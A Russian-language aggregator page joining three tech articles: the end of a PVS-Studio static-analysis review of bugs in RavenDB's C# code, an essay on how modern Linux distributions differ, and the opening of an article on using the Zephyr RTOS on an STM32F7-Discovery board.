Конечно, сохраняется возможность, что это вовсе не ошибка, что так всё и задумано. И всё же это место выглядит очень подозрительно. Ведь логично предположить, что идея функции состоит вовсе не в том, чтобы возвращать 0 при _onBeforeStoreDocumentsByEntity == null.

Я думаю, что здесь действительно присутствует ошибка, связанная с приоритетами операторов. В этом случае, необходимо поставить скобки:
_documentsByEntity.Count + (_onBeforeStoreDocumentsByEntity?.Count ?? 0)

Ну а если вдруг и правда всё так и задумано, то, возможно, стоит указать на это явно тогда у анализатора и программистов, читающих код, вопросов не возникнет:
(_documentsByEntity.Count + _onBeforeStoreDocumentsByEntity?.Count) ?? 0

Но это уже дело вкуса, конечно.

Передача параметров


private static void UpdateEnvironmentVariableLicenseString(....){  ....  if (ValidateLicense(newLicense, rsaParameters, oldLicense) == false)    return;  ....}

Предупреждение анализатора: V3066 Possible incorrect order of arguments passed to 'ValidateLicense' method: 'newLicense' and 'oldLicense'. LicenseHelper.cs(177) Raven.Server

Аргументы переданы в метод в подозрительном порядке. В самом деле, взглянем на объявление:
private static bool ValidateLicense(  License oldLicense,   RSAParameters rsaParameters,   License newLicense)

Весьма приятно, что PVS-Studio способен находить даже такие ошибки. Это отличный пример к вопросу о преимуществах статического анализа перед динамическим.

Несмотря на вышесказанное, я поначалу предположил, что, возможно, не имеет значения, в каком порядке эти аргументы передавать. Конечно, в этом случае были бы не совсем корректно подобраны имена, но что ж поделать. Однако внутренняя структура ValidateLicense говорит о том, что эти параметры всё-таки имеют различный смысл. Код этой функции можно посмотреть, перейдя по ссылке.

Never continue


private List<CounterOperation> GetCounterOperationsFor(RavenEtlItem item){  ....  for (var i = 0; i < counters.Count; i++)  {    counters.GetPropertyByIndex(i, ref prop);    if (      GetCounterValueAndCheckIfShouldSkip(        item.DocumentId,         null,         prop,         out long value,         out bool delete      )    ) continue;    ....  }  ....}

Предупреждение анализатора: V3022 Expression 'GetCounterValueAndCheckIfShouldSkip(item.DocumentId, null, prop, out long value, out bool delete)' is always false. RavenEtlDocumentTransformer.cs(362) Raven.Server

Полностью данный метод можно рассмотреть, перейдя по ссылке.

Предупреждение говорит о том, что вызов continue в этом цикле недостижим. И если это так, то фрагмент действительно странный. Но может это просто ложное срабатывание? Всё же Rider по этому поводу не ругается.

Взглянем на метод GetCounterValueAndCheckIfShouldSkip:
private bool GetCounterValueAndCheckIfShouldSkip(  LazyStringValue docId,   string function,   BlittableJsonReaderObject.PropertyDetails prop,   out long value,   out bool delete){  value = 0;  if (prop.Value is LazyStringValue)  {    delete = true;  }  else  {    delete = false;    value = CountersStorage.InternalGetCounterValue(      prop.Value as BlittableJsonReaderObject.RawBlob,       docId,       prop.Name    );    if (function != null)    {      using (var result = BehaviorsScript.Run(        Context,         Context,         function,         new object[] { docId, prop.Name }      ))      {        if (result.BooleanValue != true)          return true;      }    }  }  return false;}

Очевидно, этот метод может вернуть true только в том случае, если function != null. В коде же, рассмотренном ранее, на место этого параметра передаётся именно нулевой указатель. Значит, вызов continue действительно недостижим.

Этот момент может быть как безобидным упущением, так и проблемой, связанной с какой-нибудь ошибкой в условии. Так или иначе, стоит обратить на него внимание.

Доверяй, но проверяй


public LicenseType Type{  get  {    if (ErrorMessage != null)      return LicenseType.Invalid;    if (Attributes == null)      return LicenseType.None;    if (Attributes != null &&                             // <=        Attributes.TryGetValue("type", out object type) &&        type is int    )    {      var typeAsInt = (int)type;      if (Enum.IsDefined(typeof(LicenseType), typeAsInt))        return (LicenseType)typeAsInt;    }    return LicenseType.Community;  }}

Предупреждение анализатора: V3063 A part of conditional expression is always true if it is evaluated: Attributes != null. LicenseStatus.cs(28) Raven.Server

Крайне странный фрагмент. Обычно, лишние проверки хоть как-то отделены здесь же соответствие переменной null-указателю проверяется прям в соседних строках. Создаётся впечатление, что код, вполне вероятно, делает совсем не то, что хотел программист.

Nullable, который никогда не null


public Task SuspendObserver(){  if (ServerStore.IsLeader())  {    var suspend = GetBoolValueQueryString("value");    if (suspend.HasValue)                                  // <=    {      Server.ServerStore.Observer.Suspended = suspend.Value;    }    NoContentStatus();    return Task.CompletedTask;  }  RedirectToLeader();  return Task.CompletedTask;}

Предупреждение анализатора: V3022 Expression 'suspend.HasValue' is always true. RachisAdminHandler.cs(116) Raven.Server

Очередная с виду безобидная лишняя проверка. Хотя пока не ясно, с чего анализатор считает её таковой.

Обратимся к GetBoolValueQueryString:
protected bool? GetBoolValueQueryString(string name, bool required = true){  var boolAsString = GetStringQueryString(name, required);  if (boolAsString == null)    return null;  if (bool.TryParse(boolAsString, out bool result) == false)    ThrowInvalidBoolean(name, boolAsString);  return result;}

Действительно, иногда эта функция возвращает null. Да и Rider не считал ту проверку лишней. Неужели Единорог подвёл?

Picture 15


А что, если взглянуть на метод GetStringQueryString?
protected string GetStringQueryString(string name, bool required = true){  var val = HttpContext.Request.Query[name];  if (val.Count == 0 || string.IsNullOrWhiteSpace(val[0]))  {    if (required)      ThrowRequiredMember(name);    return null;  }  return val[0];}

Хм, если параметр required == true, то будет вызван метод ThrowRequiredMember. Интересно, что же он делает? :) Ну, чтобы уж точно не осталось сомнений:
private static void ThrowRequiredMember(string name){  throw new ArgumentException(    $"Query string {name} is mandatory, but wasn't specified."  );}

Итак, резюмируем. Разработчик вызывает метод GetBoolValueQueryString. Вероятно, он считает, что потенциально метод не получит необходимое значение. Ну и как итог вернёт null. Внутри вызывается GetStringQueryString. В случае если возникают проблемы, он либо вернёт null, либо выбросит исключение. Второе происходит в том случае, если параметр required установлен как true. При этом это его значение по умолчанию. В то же время, при вызове GetBoolValueQueryString он, если посмотреть на код выше, как раз не передаётся.

Давайте рассмотрим ещё раз код метода SuspendObserver, на фрагмент которого и ругался анализатор:
public Task SuspendObserver(){  if (ServerStore.IsLeader())  {    var suspend = GetBoolValueQueryString("value");    if (suspend.HasValue)    {      Server.ServerStore.Observer.Suspended = suspend.Value;    }    NoContentStatus();    return Task.CompletedTask;  }  RedirectToLeader();  return Task.CompletedTask;}

Создаётся впечатление, что по задумке поток выполнения тут не должен прерываться, если GetBoolValueQueryString не смог получить значение. В самом деле, после блока с проверкой на null производятся различные действия и возвращается значение. Полагаю, по задумке эти действия производятся независимо отуспешности работы метода GetBoolValueQueryString. Что же произойдёт на самом деле? Поток выполнения будет прерван исключением.

Чтобы этот момент поправить, нужно при вызове GetBoolValueQueryString передать в качестве второго параметра required значение false. Тогда всё действительно будет работать так, как ожидается.

Как я и говорил ранее, иногда кажется, что анализатор ошибается (чего греха таить, бывает и такое). Также достаточно часто предупреждение выглядит незначительным. Казалось бы, есть тут лишняя проверка, да и ладно. Ну или ещё лучше уберём её и никаких проблем предупреждение ведь пропадёт!

Даже в случаях, когда срабатывание кажется странным и непонятным, не стоит поспешно отмечать его как ложное. Нужно постараться понять, почему анализатор считает место проблемным и уже после этого принимать решение.

Странности


private async Task<int> WriteDocumentsJsonAsync(...., int numberOfResults) // <={  using (    var writer = new AsyncBlittableJsonTextWriter(      context,       ResponseBodyStream(),       Database.DatabaseShutdown    )  )  {    writer.WriteStartObject();    writer.WritePropertyName(nameof(GetDocumentsResult.Results));    numberOfResults = await writer.WriteDocumentsAsync(                    // <=      context,       documentsToWrite,       metadataOnly    );    ....  }  return numberOfResults;}

Предупреждение анализатора: V3061 Parameter 'numberOfResults' is always rewritten in method body before being used. DocumentHandler.cs(273), DocumentHandler.cs(267) Raven.Server

Параметр, передаваемый в функцию, не используется, а сразу перезаписывается. Зачем он тут нужен? Его хотели передавать через ref?

Мне стало любопытно взглянуть на то, как используется этот метод в существующем коде. Я понадеялся, что раз он приватный, их не должно быть особо много. Спасибо Rider, я с лёгкостью нашёл, где же производится вызов. Это было единственное место:
private async Task GetDocumentsByIdAsync(....){  ....              int numberOfResults = 0;  numberOfResults = await WriteDocumentsJsonAsync(    context,     metadataOnly,     documents,     includes,     includeCounters?.Results,     numberOfResults  );  ....}

Переменной присваивается 0, затем она передаётся в метод, результат работы которого присваивается ей же. И внутри метода этот параметр никак не используется. Эм. Зачем всё это?

Picture 6


Не тот логический оператор


private OrderByField ExtractOrderByFromMethod(....){  ....  if (me.Arguments.Count < 2 && me.Arguments.Count > 3)    throw new InvalidQueryException(....);  ....}

Предупреждение анализатора: V3022 Expression 'me.Arguments.Count < 2 && me.Arguments.Count > 3' is always false. Probably the '||' operator should be used here. QueryMetadata.cs(861) Raven.Server

Полностью данный метод можно посмотреть здесь.

В этот раз перед нами очевидная ошибка, состоящая в использовании неправильного логического оператора. В текущем виде проверка количества аргументов попросту не работает, ведь нет такого значения, которое одновременно и меньше 2, и больше 3. Истинные же намерения разработчика легко раскрываются первым аргументом, передаваемым в конструктор исключения:
"Invalid ORDER BY 'spatial.distance(from, to, roundFactor)' call, expected 2-3 arguments, got " + me.Arguments.CountЧтобы проверка работала корректно, нужно просто заменить "&&" на "||".

Странный try-метод


private bool Operator(OperatorField fieldOption, out QueryExpression op){   ....  switch (match)  {    ....    case "(":      var isMethod = Method(field, out var method); // <=      op = method;      if (isMethod && Operator(OperatorField.Optional, out var methodOperator))      {        ....      }      return isMethod;    ....  }}

Предупреждение анализатора: V3063 A part of conditional expression is always true if it is evaluated: isMethod. QueryParser.cs(1797) Raven.Server

Полностью данный метод можно посмотреть здесь.

Конструкция var isMethod = Method(field, out var method) напомнила мне о стандартных методах вроде Int.TryParse. Такие методы производят попытку получить результат и записать её в out-переменную, а флаг успешности проведения операции является возвращаемым значением. Код, использующий такие функции, обычно производит проверку возвращаемого значения, а затем на её основе выполняет те или иные операции.

На мой взгляд, функция Method используется здесь именно таким образом. Результат работы Method, кроме того, является возвращаемым значением метода Operator, вызывающего её.

Анализатор же указывает, что переменная isMethod всегда будет иметь значение true и её проверка в условии бессмысленна. Это означает, что функция Method никогда не возвращает false. Какой же тогда смысл в использовании такой конструкции?

Для начала, убедимся в том, что анализатор не ошибся:
private bool Method(FieldExpression field, out MethodExpression op){  var args = ReadMethodArguments();  op = new MethodExpression(field.FieldValue, args);  return true;}

Действительно, возвращаемое значение этого метода всегда true. И если всё так и задумывалось, то это странно, но не беда, в принципе. Но что, если нет?

Функция ReadMethodArguments, код которой можно посмотреть здесь, выбрасывает исключения в некоторых случаях. Такое происходит, когда метод не может корректно выполнить свою задачу.

Создаётся впечатление, что код, вызывающий функцию Method, не рассчитан на выбрасывание исключений. Скорее всего предполагается, что когда корректно выполнить получение значения out-переменной не удаётся, функция Method вернёт false. Однако при текущей реализации вместо этого будет выброшено исключение.

Как бы то ни было, стоит обратить внимание на данный фрагмент.

null != null?


private Address GetNextEdge(){  if (m_curEdgeBlock == null || m_curEdgeBlock.Count <= m_curEdgeIdx)  {    m_curEdgeBlock = null;    if (m_edgeBlocks.Count == 0)    {      throw new ApplicationException(        "Error not enough edge data.  Giving up on heap dump."      );    }    var nextEdgeBlock = m_edgeBlocks.Dequeue();    if (      m_curEdgeBlock != null &&                       // <=      nextEdgeBlock.Index != m_curEdgeBlock.Index + 1    )    {      throw new ApplicationException(        "Error expected Node Index " + (m_curEdgeBlock.Index + 1) +         " Got " + nextEdgeBlock.Index + " Giving up on heap dump."      );    }    m_curEdgeBlock = nextEdgeBlock;    m_curEdgeIdx = 0;  }  return m_curEdgeBlock.Values(m_curEdgeIdx++).Target;}

Предупреждение анализатора: V3063 A part of conditional expression is always false if it is evaluated: m_curEdgeBlock != null. DotNetHeapDumpGraphReader.cs(803) Raven.Debug

Переменной присваивается нулевой указатель, а затем через несколько строчек производится проверка на её неравенство null. При этом бессмысленным становится код, производящий проверку nextEdgeBlock.Index != m_curEdgeBlock.Index + 1. Кроме того, никогда не произойдёт выбрасывание исключения.

Логично предположить, что тут что-то работает не так, как должно, ведь фрагмент выглядит очень странно. Либо проверка тут вообще не нужна, либо она реализована как-то неправильно.

Можно рассмотреть срабатывание и с другой стороны пойти от обратного. Попробуем представить ситуацию, при которой это срабатывание является ложным. Я думаю, что это возможно, только если значение переменной может быть изменено при вызове Deque. Однако m_curEdgeBlock является приватным полем, а m_edgeBlocks это стандартная очередь, которая инициализируется в этом же классе. Таким образом, весьма сомнительно, что вызов Dequeue как-то может повлиять на значение m_curEdgeBlock. Следовательно, срабатывание, скорее всего, не является ложным.

First or null


public HashSet<string> FindSpecialColumns(string tableSchema, string tableName){  var mainSchema = GetTable(tableSchema, tableName);  var result = new HashSet<string>();  mainSchema.PrimaryKeyColumns.ForEach(x => result.Add(x)); // <=  foreach (var fkCandidate in Tables)    foreach (var tableReference in fkCandidate.References.Where(        x => x.Table == tableName && x.Schema == tableSchema      )    )    {      tableReference.Columns.ForEach(x => result.Add(x));    }  return result;}

Предупреждение анализатора: V3146 Possible null dereference of 'mainSchema'. The 'Tables.FirstOrDefault' can return default null value. DatabaseSchema.cs(31) Raven.Server

Срабатывание, на первый взгляд, может показаться непонятным. Действительно, при чём тут вообще FirstOrDefault? Чтобы стало ясно, отчего же анализатор ругается, необходимо взглянуть на функцию GetTable:
public TableSchema GetTable(string schema, string tableName){  return Tables.FirstOrDefault(    x => x.Schema == schema && x.TableName == tableName  );}

Вызов метода FirstOrDefault вместо First может быть обусловлен тем, что в коллекции может не быть элементов, соответствующих заданному условию. В таком случае FirstOrDefault, а, следовательно, и GetTable вернёт null, так как TableSchema это ссылочный тип. Именно поэтому PVS-Studio и говорит о том, что в данном коде может произойти попытка разыменования нулевого указателя.

Возможно, всё же стоит проверять такой случай, чтобы выполнение не прерывалось с NullReferenceException. Если же вариант, при котором Tables.FirstOrDefault вернёт null невозможен, то тогда нет смысла в использовании FirstOrDefault вместо First.

Always true


public override void VerifyCanExecuteCommand(  ServerStore store, TransactionOperationContext context, bool isClusterAdmin){  using (context.OpenReadTransaction())  {    var read = store.Cluster.GetCertificateByThumbprint(context, Name);    if (read == null)      return;    var definition = JsonDeserializationServer.CertificateDefinition(read);    if (      definition.SecurityClearance != SecurityClearance.ClusterAdmin || // <=      definition.SecurityClearance != SecurityClearance.ClusterNode     // <=    )      return;  }  AssertClusterAdmin(isClusterAdmin);}

Предупреждение анализатора: V3022 Expression is always true. Probably the '&&' operator should be used here. DeleteCertificateFromClusterCommand.cs(21) Raven.Server

Ещё один пример ситуации, когда скорее всего выбран неправильный логический оператор. В данном случае условие всегда истинно, ведь переменная точно не равна хотя бы одному из значений, с которыми сравнивается.

Я полагаю, что "||" должен быть заменён на "&&". Тогда в написанном будет смысл. Если логический оператор всё же выбран верно, то скорее всего в одном из условий должно происходить сравнение других переменных. Так или иначе, этот фрагмент очень подозрительно выглядит и его обязательно нужно проанализировать.

Заключение


В первую очередь хочу поблагодарить всех, кто добрался до этого места. Статья вышла достаточно объёмная, но, надеюсь, вам было интересно вместе со мной разбираться с новой версией анализатора PVS-Studio и изучать найденные ошибки.

Важно помнить, что разработчик должен основной своей целью ставить вовсе не уменьшение количества срабатываний. Не ради достижения пустого лога ошибок нужно использовать PVS-Studio. Бороться со срабатываниями всё равно что бороться с симптомами болезни, от которой страдает исходный код.

Рассматривая сообщения анализатора, всегда нужно стараться понять, почему выдаётся то или иное предупреждение. Лишь осознав логику, по которой анализатор выдал предупреждение, можно сделать вывод о том, указывает оно на ошибку или нет. Именно в этом случае вы будете бороться не с симптомом, а с болезнью. И именно таким образом ваш код станет чище и здоровее. И конечно же, проблем с таким прекрасным исходником будет намного меньше. Хотя лучше я пожелаю вам, чтобы их не было вообще :)

Picture 16




Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikita Lipilin. How to find errors in a C# project working under Linux and macOS.
Подробнее..

Насколько современные Линуксы отличаются друг от друга

06.07.2020 14:13:22 | Автор: admin
Более 15 лет я работаю в компании Fast Reports и по роду своей деятельности мне часто приходится иметь дело с Linux, ведя поддержку одного из продуктов. С Linux я знаком несколько дольше впервые установил Slackware в 1997 году. Соответственно, обладая некоторым опытом, хочу поделиться с вами мнением, чем, на мой взгляд, современные дистрибутивы Linux отличаются друг от друга. Всё описанное в статье является субъективным мнением и не претендует на абсолютную истину.

Операционная система Линукс ведёт свою историю с 1991 года, когда финский студент Линус Торвальдс, начал разработку новой операционной системы, вдохновлённый идеями Unix и Minix. Удачный выбор свободной лицензии предопределил успех его начинания к разработке подключились десятки и сотни энтузиастов, каждый из которых привнёс что-то новое. Впоследствии к разработке подключились крупные компании Intel, IBM и другие. Точные причины, побудившие лидеров отрасли к поддержке свободной ОС мне не известны, но злые языки поговаривают что многие компании решили подвинуть Microsoft, занимающую в то время абсолютную монополию в операционных системах для настольных компьютеров.

Эволюция ядра Линукс, выраженная в количестве строк
image

Смог бы Линукс без поддержки мэтров индустрии стать тем, чем он есть сейчас? Далеко не факт старожилы помнят патентые войны между Santa Cruz Operation и компаниями, поддерживающими Linux. Компания SCO проиграла эту войну и больше её не существует.

Количество коммитов в ядро в разрезе компаний
image

Таким образом за время своей жизни операционная система Линукс прошла длинный путь эволюции и в настоящее время стала популярной операционной системой, способной заменить Windows для решения многих насущных задач пользователей.
Прежде чем приступить к сравнению современных дистрибутивов Linux, мы должны определить два важных аспекта первый аспект это из чего состоит операционная система, второй с какой точки зрения будем сравнивать. Под дистрибутивом мы понимаем законченное решение, состоящее из ядра ОС, графического сервера (Икс-сервер), окружения (набора поставляемых программ), утилиты установки и начальной конфигурации. Сравнивать дистрибутивы можно с точки зрения конечного пользователя, системного администратора и прикладного программиста.

Линуксы с точки зрения системного администратора

На заре своего развития Линукс был уделом техногиков и техножрецов, обладающих специфическими знаниями программирования и администрирования. Предтечей Линукса была операционная система Unix и специалист, имевший опыт администрирования Unix, мог без труда установить и сконфигировать систему. Обычному среднестатистическому пользователю это было недоступно и процесс администрирования для него был чем-то сродни магии. Современные Линуксы стали дружественны пользователю процесс установки сводится к ответу на несколько вопросов, а зачастую достаточно просто согласиться с предлагаемым установщиком вариантом конфигурации, просто положительно ответив на все вопросы установщик сам проанализирует конфигурацию оборудования и подберёт необходимые драйвера и параметры конфигурации. Обычно дистрибутив содержит готовые к работе пакеты программ, поставляемые в виде DEB или RPM архивов, содержащих помимо самих программ скрипты конфигурации и информацию о зависимостях от сторонних библиотек. Однако, бывают и исключения, например, дистрибутив Gentoo поставляется в виде исходного когда всех программ и правил сборки, а сама операционная система буквально собирается на компьютере пользователя под его конфигурацию процессора. Вопрос эффективности такого метода спорный, мы не будем углубляться в него, замечу лишь что это лишь одна из степеней декларируемой сообществом свободы пользователь волен сам выбирать стоит ли овчинка выделки. В целом же форматы пакетов RPM и DEB похожи и при выборе дистрибутива можно не рассматривать этот момент. За редким исключением иногда бывает так, что автор программы по какой-то причине не предусмотрел второй вариант инсталлятора и она существует только в RPM (RedHat Linux и производные от него дистрибутивы) или DEB (Debian Linux и его производные) формате. В этом случае вам могут потребоваться усилия по установке такой программы даже вручную распаковав установочный пакет, можно наткнуться на неудовлетворённые зависимости. Установка такой программы потребует больших усилий, а в случае ошибки, пытаясь подменить требуемые библиотеки, можно привести к краху системы. К счастью, такая ситуация исключительно редка и 99,9% пользователей Линукс никогда не столкнуться с этой проблемой. Более того все известные производители дистрибутивов держат свои репозитории с богатым набором программ, где каждая программа собрана и протестирована под конкретную версию дистрибутива.

Итак, мы знаем что одно из отличий Линуксов это формат пакетов. Однако, с точки зрения администратора системы существует ещё одно различие формат стартовых скриптов. Из семейства операционных систем Unix в Linux пришли два конкурирующих формата System V style и BSD style. Чтобы понять о чём речь, посмотрим как это работает. Стартовый загрузчик загружает ядро ОС и передаёт ему управление, ядро стартует и запускает первый процесс init. Строго говоря, вместо init можно подсунуть любой процесс, например, bash. В этом случае мы получим нечто вроде однопользовательской однозадачной консольной системы без сети и графического интерфейса и с корневой файловой системой, доступной только для чтения. Более того, часть оборудования в этом случае может не работать, если драйвера для него не присутствуют в ядре, а загружаются в виде модулей. В классическом же режиме работы процесс init читает файл /etc/inittab и в соответствии с ним начинает процесс старта системы монтирует разделы, подгружает драйвера, инициализирует сетевые интерфейсы, стартует сервисные программы (которые ранее называли демонами), загружает графическую подсистему. Делает это init не напрямую, а используя понятие runlevel и специальные скрипты. Обычно существует до шести runlevel режимов исполнения, которые описывают режимы работы системы стартовый, однопользовательский, многопользовательский с сетевой подсистемой, многопользовательский с графическим интерфейсом. В зависимости от условий применения администратор может задать стандартный runlevel, в который перейдёт система после загрузки, обычно это многопользовательский режим с сетью и графическим интерфейсом для десктопа и многопользовательский режим с сетью для серверов. Именно в этих скриптах и заключено отличие между SystemV и BSD стилями. Однако, обладая знаниями о формате inittab, можно посмотреть содержимое скриптов и понять как работают процедуры старта, останова и перехода между runlevels системы.

В 2010 году инженеры из RedHat разработали замену init сервис systemd. Этот сервис привнёс новые возможности в систему:

  • сокет-активация служб (заменяет дополняет inetd);
  • запуск сервисов по расписанию (заменяет дополняет cron);
  • работа с аппаратным сторожевым таймером (заменяет watchdog);
  • смена корня (заменяет chroot);
  • автомонтирование томов и сетевых ресурсов (заменяет дополняет mount и fstab);
  • journlctl сервис логирования;
  • systemd-analyze анализ запуска сервисов(включает в себя скорость загрузки(как системы, так и отдельных сервисов), отрисовку старта сервисов и др.);
  • systemd-boot UEFI загрузчик (замена grub и lilo).

В настоящее время подавляющие большинство дистрибутивов Linux перешли на systemd, из некогда популярных дистрибутивов только Slackware сопротивляется переходу на новую подсистему.
Таким образом переход на systemd как бы стирает одно из различий Линукс систему стартовых скриптов и приводит к унификации. При этом сохраняется поддержка классических стартовых скриптов например, часть томов для монтирования может быть указана классически через /etc/fstab, а другие тома могут быть монтированы средствами systemd.
В прошлом системные администраторы любили спорить какая же система лучше SystemV или BSD, однако сейчас споры поутихли. Опытный сисадмин сможет сконфигурировать любую систему, для новичков же в Сети достаточно информации, раскрывающей любой аспект конфигурации Linux.

Линуксы c точки зрения пользователя

С точки зрения конечного пользователя линуксы различаются несколько сильнее. Заглянем вглубь вопроса. Изначально графическая подсистема в Unix была необязательна. Зачастую Unix работал на мощных компьютерах, а пользователи подключались к нему посредством Икс-терминалов. Взаимодействие происходило по сети программа выполнялась на хост-компьютере, принимала информацию о нажатии на клавиатуру и событиях мыши, а в ответ посылал терминалу команды для отрисовки графических примитивов и текста. Графические терминалы были дорогими и редкими устройствами, поэтому в качестве терминалов стали популярны персональные компьютеры. Здесь, кстати, интересный момент, который зачастую вызывает недопонимание Икс-сервер выполняется на терминале, а не на хосте. На хосте выполняется сама программа, которая использует библиотеку xlib, предоставляющую базовый низкоуровневый интерфейс для работы с графическим сервером. Этот интерфейс достаточно низкоуровневый, он вводит понятие окна, т.е. прямоугольной области экрана, умеет выводить векторный текст различными шрифтами, а так же обеспечивает отрисовку различных графических примитивов точки, линии, прямоугольники, окружности и картинки.
Поскольку базовые графические примитивы довольно просты, это привело к появлению библиотек виджетов эти библиотеки предоставляют более высокий уровень абстракции и значительно упрощают написание программ с графическим интерфейсом. Например, библиотека X Athena Widgets стала частью графической системы X Window System. Эта библиотека вводит понятие кнопок, радиокнопок, меню, полей ввода и подобных примитивов. Однако по современным меркам выглядит это довольно вырвиглазно.

И вот собственно тут начинаются отличия для пользователей. Внешний вид того, что пользователь видит на экране, зависит от нескольких подсистем это среда рабочего стола (Desktop Environment) обеспечивающая пространство, называемое рабочим столом, это оконный менеджер, определяющий внешний вид окон программы (декорации окна) и зачастую, но не обязательно, интегрированный в среду рабочего стола, и наконец, это библиотека элементов интерфейса. Что и как видит пользователь на экране определяется сочетаниями вышеназванных компонентов.

На практике это приводит к тому, что одна и та же программа запущенная в различных оконных менеджерах может иметь разные декорации окон разные заголовки, размеры границ окон, разные кнопки сворачивания, раскрытия в полный экран и закрытия. Всё это определяет оконный менеджер. Вместе тем, в пределах одного оконного менеджера, различные программы могут иметь различный вид элементов интерфейса, в зависимости от используемой библиотеки. Справедливости ради нужно заметить, что подобное разнообразие вы могли наблюдать и в Windows, но значительно значительно реже, поскольку подавляющее большинство Windows программ используют стандартный GDI+ или обвзяку вокруг него.

С чем же столкнётся пользователь Linux на рабочем столе? Прежде всего это GNOME или KDE, большая часть дистрибутивов основана именно на этих средах рабочего стола. Однако ими не ограничиваются и различные вендоры Linux предлагают около десятка различных сред. Что касается библиотек элементов интерфейса, то здесь лидируют две библиотеки GTK и Qt. Обе библиотеки кроссплатформенные и если какая-либо программа существует и под Linux, и под Windows, то с большой вероятностью она написана с использование GTK или Qt. Однако есть и исключения, например, компания Xamarin создала версию библиотеки Windows Forms для Linux и macOS. Так же иногда разработчики оконных менеджеров распространяют свои библиотеки виджетов. Таким образом становится понятно откуда такое разнообразие графических пользовательских интерфейсов под Linux.

Линуксы с точки зрения прикладных программистов

Всё вышесказанное относится так же и к программированию. Если вы пишите сервер или консольную утилиту, то в подавляющем большинстве случаев вам не придётся использовать директивы условной компиляции современный Линукс достаточно хорошо стандартизирован и полностью совместим со стандартом POSIX. Более того, использование autoconf позволяет писать программы не только для Linux, но и для любой POSIX совместимой системы, начиная от BSD и заканчивая всяческой экзотикой.

Вам, скорее всего, не придётся выбирать формат пакетов используйте оба DEB и RPM, и вы покроете практически все случаи использования. Для сервисных программ наверняка придётся обратить внимание на формат стартовых скриптов, чтобы инсталлятор правильно прописал автозапуск вашего сервиса. В моём случае пришлось обратить внимание на расположение шрифтов, поскольку различные вендоры используют различные пути для хранения шрифтов, однако, тут вам поможет рекурсивный поиск начиная с /usr/share/fonts все шрифты, за исключением пользовательских, будут находиться по этому пути. Что касается пользовательских шрифтов, которые устанавливаются в /home/user, то здесь замечен некоторый разброд и шатание и разные вендоры предлагают как минимум две иерархии ~/.fonts и ~/.local/share/fonts.

Для графических программ сложностей несколько больше. В виду зоопарка различных сред рабочего стола, необходимо учитывать их особенности. Например, так называемые desktop notifications будут поддерживаться большинством сред рабочего стола, но могут не работать с какими-то экзотическими оконными менеджерами.

Наконец, ещё несколько важных моментов, которые вносят существенные различия между дистрибутивами. Несмотря на похожесть всех современных линуксов вы можете столкнуться с проблемами на дистрибутивах с повышенной защитой, т.е. теми, где используется мандатная система доступа. Например, какой-либо ресурс по умолчанию доступен во всех классических дистрибутивах, но вызовет ошибку доступа в защищённой версии Линукс. Заранее предугадать, где и как откажет программа в данном случае невозможно, поэтому единственным решением является тестирование на защищённых дистрибутивах. Или оперативное исправление проблемы после обращения пользователя в техподдержку.

Второй момент это популярность дистрибутива. Если в составе продукта вы используете какую-то не очень распространённую библиотеку или фреймворк, то возможна ситуация что в таком дистрибутиве будет старая или неполная версия этой библиотеки. В моей практике такая ситуация случалась в одном из дистрибутивов с поддержкой кодовой страницы 1251 в библиотеке System.Text.Encoding для C#. Бороться с такими проблемами можно только одним способом поскольку проблема в других дистрибутивах Linux не наблюдается, то следует написать в техподдержку разработчику этого дистрибутива, подробно описав проблему и сказать что в других дистрибутивах проблемы нет.

Вывод. Если не рассматривать защищённые версии Linux, то с точки зрения системных администраторов и программистов современные дистрибутивы очень похожи. Зачастую различия между различными поколениями дистрибутива у одного вендора более весомые, чем различия между современными дистрибутивами. С точки зрения пользователей основное различие в выборе и настройке среды рабочего стола и поставляемого в дистрибутиве программного обеспечения.
Подробнее..
Категории: *nix , Linux , Разработка под linux

Zephyr в embedded опыт использования на STM32F7-Discovery

15.06.2020 18:18:41 | Автор: admin
image

История о моем опыте использования операционной системы реального времени (ОСРВ) Zephyr для устройства на базе микроконтроллера STM32F7-Discovery.


В статье:


  • Что такое Zephyr и при чем тут Linux?
  • Запуск проекта на STM32. Интересные моменты по работе с драйверами.
  • Фишки этой ОС. Что понравилось, а что нет.

Привет, Хабр, меня зовут Илья. Я студент выпускного курса университета и параллельно прохожу стажировку на позицию embedded-разработчика в компании Третий пин. Мой приход совпал с началом изучения операционной системы реального времени Zephyr. Чтобы не делать исследование на пустом месте, мне и другим стажерам предложили придумать небольшой проект, где можно использовать эту операционную систему. Мы остановились на идее устройства для отладки оборудования, когда отсутствует возможность подключения к компьютеру. Устройство позволяет считывать, хранить и отображать логи тестируемого устройства на дисплее или передавать их на компьютер по Ethernet. Проект получил внутренне название Logovoz. Прототип решили делать на STM32F7-Discovery. О том, что получилось планирую рассказать в следующих статьях. Сегодня про сам Zephyr.


Что еще за Zephyr?


image

Zephyr это сравнительно новая операционная система реального времени с прицелом на embedded и устройства интернета вещей. Она была разработана в 2015 году компанией Wind River Systems, автора другой популярной в авиационной и космической отраслях ОС VxWorks.


Что такое операционная система реального времени?

Операционная система реального времени это такая операционная система, ключевым критерием которой, наравне с корректной работой, является время выполнения операций. Так, если в Windows программа отработает на милисекунду позже, пользователь может даже не обратить внимания, а в ОСРВ эта ситуация является недопустимой. Например, представьте, что будет, если контроллер подушки безопасности автомобиля отработает на пару секунд позже, чем нужно?


Чем хорош Zephyr:


  • Мощная архитектура. Системные вызовы, драйвера, потоки, файловая система, shell и так далее. Всё как во взрослых ОС.
  • Поддержка множества контроллеров от разных вендоров. STM, ESP, Atmel, NXP и т. д. Система позволяет запускать одно приложение на разных платах без переписывания кода.
  • Собственный инструмент командной строки West. Сами создатели называют его перочинным ножом для разработчика. Это одновременно система сборки, менеджер модулей, инструмент прошивки, конфигуратор.
  • Open-source. С 2017 года система поддерживается Linux Foundation и в ней используются наработки из кодовой базы Linux. Например, Kconfig и dts.

Система не лишена минусов. В основном, они связаны с её относительной молодостью. Например, проблемы с документацией в разных версиях системы. Несмотря на это, система имеет активное комьюнити и активно развивается.


Как устроен Zephyr?


Система во многом схожа с Linux. Как и Linux, Zephyr содержит menuconfig или guiconfig (то же самое, но с отдельным GUI, а не в консоли), которые конфигурируют программные части системы на основе файлов Kconfig. Это могут быть различные драйверы, поддержка сетевых функций и т.д. Для описания же аппаратной части используется структура device tree. С помощью неё конфигурируются диапазоны адресов регистров в памяти, периферия, линии прерываний и др.


image

